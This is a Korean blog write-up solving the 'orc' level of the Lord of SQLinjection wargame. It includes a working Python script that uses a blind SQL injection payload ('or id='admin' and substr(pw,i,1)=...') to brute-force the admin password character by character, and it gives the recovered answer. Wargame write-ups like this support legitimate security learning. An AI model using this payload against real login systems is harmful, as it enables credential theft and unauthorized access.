본문 바로가기
Security/WebHacking

[Load of SQLinjection][LOS] 문제풀이 orc

by J0DEV 2021. 8. 12.
반응형

LOS 4번째 ORC

자 코드를 보자

해석하면 pw를 get으로 받는데 id는 admin으로 고정되어 있다.

 

첫번째 result 쿼리가 참일 경우 hello admin을 뿌려주고

첫번째는 특 쿼리는 특수문자를 사용할 수 있지만.

두번째 쿼리는 addslashes를 사용하기 때문에 특문이 막힌다.

그리고 처음 입력한 pw와 addslashes 처리된 pw가 일치하면 orc를 풀어준단다.

한마디로 정확한 비밀번호 찾아내란 소리다.

 

그럼 뭘하면 될까?

우선 우리에게 주어진것은 특정 쿼리가 주어졌을때 해당 값이 참인지 거짓인지 알 수 있다는 점이다.

참, 거짓을 알아낼 수 있으면 blind sql injection 을 할 수 있는 가능성이 있다.

 

우선 길이를 알아내야한다.

mysql의 length 함수를 사용하여 pw를 인자값으로 준다.

id=admin이므로 참 고맙게도 admin 계정의 pw length를 알 수 있다.

 

우선 10보다 작은지 확인했다.

pw의 길으는 10보다 작다.

 

그후 9 부터 내려가보니 pw의 length는 8이었다.

그러면 이제 열심히 코드를 작성하면 된다.

 

아래는 풀이 코드이다.

import requests
length=8
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
header = {'cookie' : 'PHPSESSID=your session id'}
for i in range(1,9):
    for j in range(48, 128):
        sub_url = "?pw="+"1' or id='admin' and substr(pw,"+str(i)+",1)='"+chr(j)
        query = url+sub_url
        req = requests.post(url=query, headers=header)
        if "Hello admin" in req.text:
            print(chr(j))
            break

 

코드에서 첫번째 range는 pw 길이의 범위이다.

두번째 range는 ascii 코드표를 참고하면 알 수 있다.

실형결과는 295d5844 이다.

이값을 그냥 pw에 넣어주면 된다.

반응형